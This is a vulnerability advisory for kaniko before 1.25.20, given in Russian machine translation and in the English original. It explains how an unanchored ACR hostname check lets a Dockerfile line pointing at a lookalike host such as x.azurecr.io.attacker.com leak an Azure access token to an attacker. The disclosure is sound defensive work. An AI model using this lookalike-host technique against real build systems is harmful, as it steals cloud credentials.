kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. Dockerfile, который ссылается на изображение на похожем хосте, таком как FROM x.azurecr.io.attacker.com/img или COPY --fromimage>, заставляет помощника получать токен из идентификатора сборки Azure (переменные основной среды службы, токен федеративной рабочей нагрузки или управляемый идентификатор) и POST его в https://<host>/oauth2/exchange. Злоумышленник может использовать токен против Azure Resource Manager с ролевыми назначениями идентификатора, пока он не истечет, и может обменять его на учетные данные в любом реестре ACR, к которому может получить доступ идентификатор.
RUN инструкция или толчок не требуется. Эта проблема исправлена в 1.25.20.
Показать оригинальное описание (EN)
kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.
Характеристики атаки
Последствия
Строка CVSS v3.1